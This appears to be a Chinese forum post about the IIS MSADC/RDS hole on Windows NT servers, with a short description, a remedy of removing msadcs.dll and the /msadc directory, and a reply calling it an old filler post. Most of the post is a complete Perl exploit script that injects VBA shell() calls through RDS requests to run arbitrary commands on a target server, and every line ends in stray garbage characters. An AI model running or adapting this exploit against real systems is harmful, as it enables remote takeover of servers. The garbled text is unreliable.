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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,z<J`n  
8~*<s5H  
涉及程序: ~[n]la  
Microsoft NT server kaM=Fk=t  
zq]I"0Bi.  
描述: 2I'gT$h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 S -$ L2N  
$ 9bIUJ  
详细: %oPW`r  
如果你没有时间读详细内容的话,就删除: m?3!  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0u[Vd:()v(  
有关的安全问题就没有了。 .*FBr7rE\  
6ub-NtVu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  NGQBOV  
A|jmp~@K)+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 XC 44]o4jx  
关于利用ODBC远程漏洞的描述,请参看: '-9B`O,&  
#snwRW>=[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xwz9E!m  
F}9!k LR  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 S-x'nu$u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp *}fs@"S   
bY` b3  
这里不再论述。 & Xh8j^p'  
bloe|o!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 2gP^+.  
Dp1FX"a)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset VpmwN`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! gbvM2  
_0HCtx ;  
R1't W=  
#将下面这段保存为txt文件,然后: "perl -x 文件名" kyV!ATL1F  
vh+ ' W  
#!perl e !V3/*F  
# #63)I9>  
# MSADC/RDS 'usage' (aka exploit) script 117`=9F  
# *xHj*  
# by rain.forest.puppy =AaTn::e/  
# }ACWSkWK  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (!'=?B "  
# beta test and find errors! m@(8-_  
|#OMrP+oi  
use Socket; use Getopt::Std; sA^_I6>M"  
getopts("e:vd:h:XR", \%args); j&6O 1  
0 0JH*I  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; T2EQQFs  
YoC{ t&rY  
if (!defined $args{h} && !defined $args{R}) { @:2<cn`  
print qq~ >.sdLA Si  
Usage: msadc.pl -h <host> { -d <delay> -X -v } *=yUs'brB  
-h <host> = host you want to scan (ip or domain) K;uOtbdOK  
-d <seconds> = delay between calls, default 1 second |[6jf!F  
-X = dump Index Server path table, if available M:[rH  
-v = verbose &P2tzY'  
-e = external dictionary file for step 5 }G{'Rb  
[Eq7!_ 3  
Or a -R will resume a command session KImBQ2^Tu  
K!AW8FnHkZ  
~; exit;} 8]G  
_ ^ JhncL  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; !V%h0OE\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [u?*' c{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} LUPh!)8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); _ aJo7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Z~X\Z.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } v w.rkAGY  
f&=WgITa  
if (!defined $args{R}){ $ret = &has_msadc; FCr^D$_w  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -_%8Q#"  
v@xbur\L  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" R=7,F6.  
. "cmd /c "; nky%Eb[\  
$in=<STDIN>; chomp $in; Re[x$rw  
$command="cmd /c " . $in ; 3bWYRW  
)Bz2-|\  
if (defined $args{R}) {&load; exit;} ]TE(:]o7V  
DJWm7 t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [quT&E  
&try_btcustmr; @%FLT6MY  
Q4;%[7LU  
print "\nStep 2: Trying to make our own DSN..."; (ncm]W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N<d0C  
0\B31=N(  
print "\nStep 3: Trying known DSNs..."; Xa,d"R~  
&known_dsn; >]ghme  
X=1Po|  
print "\nStep 4: Trying known .mdbs..."; kzkrvC+u  
&known_mdb; lwVo%-  
U{`Q_Uw@$:  
if (defined $args{e}){ 6np  
print "\nStep 5: Trying dictionary of DSN names..."; rT#2'-f  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )2pOCAjL2  
k vu SE  
print "Sorry Charley...maybe next time?\n"; pq T+lai)#  
exit; >$/<~j]  
uGoySt&;(  
############################################################################## !^Ly#$-X  
5%6{ ePh{  
sub sendraw { # ripped and modded from whisker V/t/uNm  
sleep($delay); # it's a DoS on the server! At least on mine... z~m{'O`  
my ($pstr)=@_; 13JZ\`ceb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *ku}.n  
die("Socket problems\n"); {s{ bnU  
if(connect(S,pack "SnA4x8",2,80,$target)){ _ArN[]Z  
select(S); $|=1; ~[N"Q|D3Y  
print $pstr; my @in=<S>; )qID<j#  
select(STDOUT); close(S); D4G*Wz8  
return @in; 8h?):e  
} else { die("Can't connect...\n"); }} NMy+=GZu^  
-%G}T}"_  
############################################################################## H^d2|E[D  
$n><p>`  
sub make_header { # make the HTTP request M+|J;caX  
my $msadc=<<EOT DN X-\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 VG=mA4Dd  
User-Agent: ACTIVEDATA  /N8>>g  
Host: $ip .#OD=wkN0  
Content-Length: $clen gs:V4$(p4  
Connection: Keep-Alive =xs"<Q*w>  
swTur  
ADCClientVersion:01.06 ,N1I\f  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %U uVD  
_\ &N<  
--!ADM!ROX!YOUR!WORLD! .%"s| D  
Content-Type: application/x-varg hI#1Ybl  
Content-Length: $reqlen W2`/z)[*>  
yKhN1kY  
EOT 2=%R>&]*  
; $msadc=~s/\n/\r\n/g; 0K<|>I  
return $msadc;} Cu $mb}@  
6Trtulm  
############################################################################## ,_iR  
vVy X[ZZ  
sub make_req { # make the RDS request p"dK,A5#)  
my ($switch, $p1, $p2)=@_; 0XzrzT"&  
my $req=""; my $t1, $t2, $query, $dsn; AE@N:a  
ll^#I/  
if ($switch==1){ # this is the btcustmr.mdb query 9 *+X ^q'  
$query="Select * from Customers where City=" . make_shell(); f\vy5''  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /\wm/Yx?S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >D5WAQ>b  
|=rb#z&  
elsif ($switch==2){ # this is general make table query 3;'RF#VL  
$query="create table AZZ (B int, C varchar(10))"; *dpKo&y  
$dsn="$p1";} 1w$X;q"  
#*tWhXU  
elsif ($switch==3){ # this is general exploit table query ]n 'FD|  
$query="select * from AZZ where C=" . make_shell(); L5RBe  
$dsn="$p1";} 1 k\~%  
isR)^fI|  
elsif ($switch==4){ # attempt to hork file info from index server v?L`aj1ox  
$query="select path from scope()"; +?%L X4Y  
$dsn="Provider=MSIDXS;";} U{Xx)l/o  
8h '~*  
elsif ($switch==5){ # bad query z#u<]] 5  
$query="select"; N]dsGvX  
$dsn="$p1";} %NH{%K,  
7Ap==J{a  
$t1= make_unicode($query); K^Ixu~  
$t2= make_unicode($dsn); 6mml96(  
$req = "\x02\x00\x03\x00"; c?t,,\o(}  
$req.= "\x08\x00" . pack ("S1", length($t1)); x!`~+f.6  
$req.= "\x00\x00" . $t1 ; +#RqQ8 \  
$req.= "\x08\x00" . pack ("S1", length($t2)); \\(3gB.Gd  
$req.= "\x00\x00" . $t2 ; B.Y8O^rx  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; sMDHg  
return $req;} "V3f"J?  
rk)h_zN  
############################################################################## -VafN   
y3Q2d7G  
sub make_shell { # this makes the shell() statement #HyE-|_C  
return "'|shell(\"$command\")|'";} 0ME.O +  
2S@aG%-)  
############################################################################## 1$RUhxT  
:YUQKy  
sub make_unicode { # quick little function to convert to unicode tg"NWp6  
my ($in)=@_; my $out; G|+naZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } yk0#byW`  
return $out;} _!C M  
;hZ^zL  
############################################################################## x*a^msY%  
)2&y;{]  
sub rdo_success { # checks for RDO return success (this is kludge) %|o2d&i  
my (@in) = @_; my $base=content_start(@in); u d$*/ )/  
if($in[$base]=~/multipart\/mixed/){ LEJn 1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @E !`:/k  
return 0;} O!ngQrI  
S7kZpD $  
############################################################################## "8*5!anu-  
j= vlsW  
sub make_dsn { # this makes a DSN for us | HfN<4NL  
my @drives=("c","d","e","f"); l}& &f8n  
print "\nMaking DSN: "; zcCGR Ee=  
foreach $drive (@drives) { \eoJ6IRE\T  
print "$drive: "; -P>up)p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . VI(2/**  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" U6Xi-@XP  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #7BX,jvn>  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; W</\F&  
return 0 if $2 eq "404"; # not found/doesn't exist Uy;e5<<  
if($2 eq "200") { U%4 s@{7  
foreach $line (@results) { ATkx_1]KM-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} D"ecwx{%;C  
} return 0;} Br}0dha3E  
YJqbA?i  
############################################################################## .]y"04@]  
){FXonVP  
sub verify_exists { u0i;vO)MNt  
my ($page)=@_; 3x3 =ke!  
my @results=sendraw("GET $page HTTP/1.0\n\n"); D&/~lhyNZ  
return $results[0];} 4&_|myO&  
lCxPR'C|  
############################################################################## 4VI'd|Ed  
a<Ksas'5S  
sub try_btcustmr { 4H@K?b`  
my @drives=("c","d","e","f"); g'<ekY+V:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hNUkaP  
f@aFs]xV  
foreach $dir (@dirs) { h$_5)d~  
print "$dir -> "; # fun status so you can see progress `\M}~  
foreach $drive (@drives) { b6ui&Y8z  
print "$drive: "; # ditto ^hyp}WN  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :#nv:~2]  
$reqlenlen=length( "$reqlen" ); ^#p+#_*V  
$clen= 206 + $reqlenlen + $reqlen; t(r}jU=qw  
vI5'npM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Tp&7CNl|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %C =?Xhnv  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} DUlvlQW  
?a{es!  
############################################################################## vfpK|=[7o  
&A)u!l Ue  
sub odbc_error { %P HYJc  
my (@in)=@_; my $base; vQsI^p  
my $base = content_start(@in); Gid6,J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this WOR H4h9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZK$<"z6{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bP HtP\)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Rpou.RrXR7  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8%#pv}  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &p83X  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . w[hT,$n  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} D?`|`Mu  
|N%#;7  
############################################################################## 1qN+AT  
`71(wf1q[f  
sub verbose { O0=}: HM  
my ($in)=@_; Fh U*mAX)  
return if !$verbose; Uk<2XGj  
print STDOUT "\n$in\n";} fiZq C?(  
y*7<tj.`b0  
############################################################################## qJ%AbdOI8  
^7,`6g  
sub save { "|6763.{4  
my ($p1, $p2, $p3, $p4)=@_; @; 0t+  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; !r %u@[(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1b`WzoJgH  
close OUT;} M#o'hc  
:~4 M9  
############################################################################## T.GB *  
,!Q^"aOT:  
sub load {  \>l DM  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]mdO3P  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^J?y mo$>0  
@p=<IN>; close(IN); y6`zdB  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Z?j4WJy-[  
$target= inet_aton($ip) || die("inet_aton problems"); F,/yK-9  
print "Resuming to $ip ..."; KreF\M%Ke  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1 TA\6a}  
if($p[1]==1) { 1`v$R0 `!  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; fYUbr"Oe  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Io\tZXB  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -H9WwFk  
if (rdo_success(@results)){print "Success!\n";} i[ 40p!~  
else { print "failed\n"; verbose(odbc_error(@results));}} *G(ZRj@ 33  
elsif ($p[1]==3){ T)tf!v3v  
if(run_query("$p[3]")){ K</="3 HK  
print "Success!\n";} else { print "failed\n"; }} rLx'.:  
elsif ($p[1]==4){ M~LYq  
if(run_query($drvst . "$p[3]")){ JLu>w:\  
print "Success!\n"; } else { print "failed\n"; }} =L9;8THY  
exit;} f0]`TjY  
*Y<1KXFU  
############################################################################## _>4Qh#6K  
}Sv\$h  
sub create_table { M TOZ:b  
my ($in)=@_; H`EsFKw\%  
$reqlen=length( make_req(2,$in,"") ) - 28; hYY-Eq4TC  
$reqlenlen=length( "$reqlen" ); ,Uu#41ZOKL  
$clen= 206 + $reqlenlen + $reqlen; (8jQdbZU  
my @results=sendraw(make_header() . make_req(2,$in,"")); q~G@S2=}0}  
return 1 if rdo_success(@results); f\h|Z*Bv  
my $temp= odbc_error(@results); verbose($temp); P2=u-{?~  
return 1 if $temp=~/Table 'AZZ' already exists/; ew 4pAav  
return 0;} <0!)}O  
,;~@t:!c  
############################################################################## _&}z+(Ug  
<nbc RO.  
sub known_dsn { jrZH1dvE  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 8c5%~}kG  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", U~s-'-C /  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \Ws$@ J-M  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -$tf`   
UMj8<Lq)j  
foreach $dSn (@dsns) { H0?Vq8I?  
print "."; BX-fV|  
next if (!is_access("DSN=$dSn")); {mmQv~|5q  
if(create_table("DSN=$dSn")){ yYn7y1B  
print "$dSn successful\n"; %w#8t#[,6  
if(run_query("DSN=$dSn")){ h[}e5A]}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8s)(e9Sr  
print "Something's borked. Use verbose next time\n";}}} print "\n";} z%44@TP  
OoOr@5g  
############################################################################## $0P7^4)w:  
x}X hL  
sub is_access { $@@@</VbP  
my ($in)=@_; -cL wjI  
$reqlen=length( make_req(5,$in,"") ) - 28; f&88N<)  
$reqlenlen=length( "$reqlen" ); 53O}`xX!6  
$clen= 206 + $reqlenlen + $reqlen; j V~+=(w)  
my @results=sendraw(make_header() . make_req(5,$in,"")); bm#/ KT_8  
my $temp= odbc_error(@results); `&5_~4T7  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <-O^ol,fX  
return 0;} -@?4Tfl  
=v49[i  
##############################################################################  MKZq*  
1}"Prx-  
sub run_query { /\d@AB^5I  
my ($in)=@_; RAAu3QKu  
$reqlen=length( make_req(3,$in,"") ) - 28; 9 gWqs'  
$reqlenlen=length( "$reqlen" ); mWX{I2  
$clen= 206 + $reqlenlen + $reqlen; $ nHf0.V1  
my @results=sendraw(make_header() . make_req(3,$in,""));  [kL`'yi  
return 1 if rdo_success(@results); !G~`5?CvE  
my $temp= odbc_error(@results); verbose($temp); hd~0qK  
return 0;} bguTWI8bk  
@JU Xp  
############################################################################## %WAaoR&u  
$J!WuOz4^i  
sub known_mdb { j+NsNIJq  
my @drives=("c","d","e","f","g"); -mqL[ h,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9/$Cq  
my $dir, $drive, $mdb; VkZ3Q7d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  re@;6o  
)bl^:C  
# this is sparse, because I don't know of many <(W:Q3?s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", xY<*:&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", NEff`mwm5)  
"\\system32\\certmdb.mdb", ?C*}NM  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Gc2:^FVlh  
uow{a*q d6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", |ohCA&k%;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", jWcfQ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Z^6qxZJ7  
"\\cfusion\\cfapps\\security\\realm_.mdb", 33OkY C%e  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", (65|QA   
"\\cfusion\\database\\cfexamples.mdb", JlhI3`X;/  
"\\cfusion\\database\\cfsnippets.mdb", 3%YDsd vQx  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6h{>U*N"&d  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mae@L  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \.Z /  
"\\cfusion\\database\\smpolicy.mdb", &*9 ' 0  
"\\cfusion\\database\cypress.mdb", M{Hy=:K+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "mB /"  
"\\website\\cgi-win\\dbsample.mdb", K-4o_:F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H-jxH,mJmW  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (Ky$(Ubb#6  
); #these are just ((T6z$:hA  
foreach $drive (@drives) { bEli!N$  
foreach $dir (@dirs){ #@}wl  
foreach $mdb (@sysmdbs) { \JBPZ~N3  
print "."; ~%QI#s?|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ O[W/=j[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [BuAJ930#5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5m9;'SF  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3h**y %^  
} else { print "Something's borked. Use verbose next time\n"; }}}}} KhZ\q|5  
YWhp4`m  
foreach $drive (@drives) { 'Oa(]Br[  
foreach $mdb (@mdbs) { I;+>@Cn(g<  
print "."; *s$:"g-  
if(create_table($drv . $drive . $dir . $mdb)){ ?9Sc KN  
print "\n" . $drive . $dir . $mdb . " successful\n"; oL -udH  
if(run_query($drv . $drive . $dir . $mdb)){ tLzKM+Ct#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A0 $ds  
} else { print "Something's borked. Use verbose next time\n"; }}}} xew s~74L  
} i9v|*ZM"  
_l=X?/  
############################################################################## Uu~~-5  
As>P(  
sub hork_idx { 36\_Y?zx%  
print "\nAttempting to dump Index Server tables...\n"; }T&~DVM  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; MTAq} 8  
$reqlen=length( make_req(4,"","") ) - 28; DTz)qHd#X  
$reqlenlen=length( "$reqlen" ); i^}ib RQbN  
$clen= 206 + $reqlenlen + $reqlen; "Zu>cbE  
my @results=sendraw2(make_header() . make_req(4,"","")); Ug8>|wCE  
if (rdo_success(@results)){ <Y+>a#T  
my $max=@results; my $c; my %d; ~qkn1N%'  
for($c=19; $c<$max; $c++){ /dwj:g0y  
$results[$c]=~s/\x00//g; >(C5&3^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; v%;Ny ab6$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; FZx.Yuv  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q" @%WK  
$d{"$1$2"}="";} U?A3>  
foreach $c (keys %d){ print "$c\n"; } !+_X q$9_  
} else {print "Index server doesn't seem to be installed.\n"; }} <b_?[%(u  
lt& c/xi_  
############################################################################## gb}>xO  
C^7M>i  
sub dsn_dict { csj 4?]gI  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); )}1S `*J/O  
while(<IN>){ b_']S0$c\  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?6//'bO:%  
next if (!is_access("DSN=$dSn")); a\tv,Lx  
if(create_table("DSN=$dSn")){ WP >VQZ&  
print "$dSn successful\n"; t(Gg 1  
if(run_query("DSN=$dSn")){ n..R'vNj  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !'*1;OQ  
print "Something's borked. Use verbose next time\n";}}} 3Uy(d,N  
print "\n"; close(IN);} z?  Ck9  
7',WLuD  
############################################################################## . H9a  
FQM9>l@6)>  
sub sendraw2 { # ripped and modded from whisker jf=\\*64r4  
sleep($delay); # it's a DoS on the server! At least on mine... E(Zm6~  
my ($pstr)=@_; zXML<?w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ir6g"kwCKq  
die("Socket problems\n"); wVkRrFJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ `u$lSGl  
print "Connected. Getting data"; Vr hd\  
open(OUT,">raw.out"); my @in; .x][ _I>  
select(S); $|=1; print $pstr; 0N):8`dY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} }Apn.DYbbf  
close(OUT); select(STDOUT); close(S); return @in; o ^""=Z  
} else { die("Can't connect...\n"); }} s=hao4v7z  
$lb$<  
############################################################################## tgC)vZ&a  
9{8xMM-  
sub content_start { # this will take in the server headers h@fF`  
my (@in)=@_; my $c; AtNF&=Op  
for ($c=1;$c<500;$c++) { <ToRPx&E  
if($in[$c] =~/^\x0d\x0a/){ ;&$f~P Q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3`Gb ;D  
else { return $c+1; }}} gbziEjRe  
return -1;} # it should never get here actually > *soc!#Y  
[Nu py,v  
############################################################################## gm =LM=  
G(gZL%M6  
sub funky { ;@H:+R+(  
my (@in)=@_; my $error=odbc_error(@in); c{[lT2yxU  
if($error=~/ADO could not find the specified provider/){ 75eZhs[b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; f47dB_{5f.  
exit;} R7/ET"  
if($error=~/A Handler is required/){ 6/.cS4  
print "\nServer has custom handler filters (they most likely are patched)\n"; r*{`_G=1  
exit;} T+41,  
if($error=~/specified Handler has denied Access/){ _&aPF/  
print "\nServer has custom handler filters (they most likely are patched)\n"; f"t+r /d  
exit;}} Y=Om0=v  
/]-a 1  
############################################################################## \WxBtpbQ B  
|>KOlwh5n  
sub has_msadc { I-m Bj8^;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); '3fN2[(  
my $base=content_start(@results); ~nb1c:F  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TNlOj a:  
return 0;} m(Iy W734I  
f0 kz:sZ9  
######################## $ EexNz  
C/MQY:X4  
J=b 'b%  
解决方案: R)6"P?h._4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]E^)d|_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <[?ZpG  
cVl i^*se  
拿出来充数 哈哈
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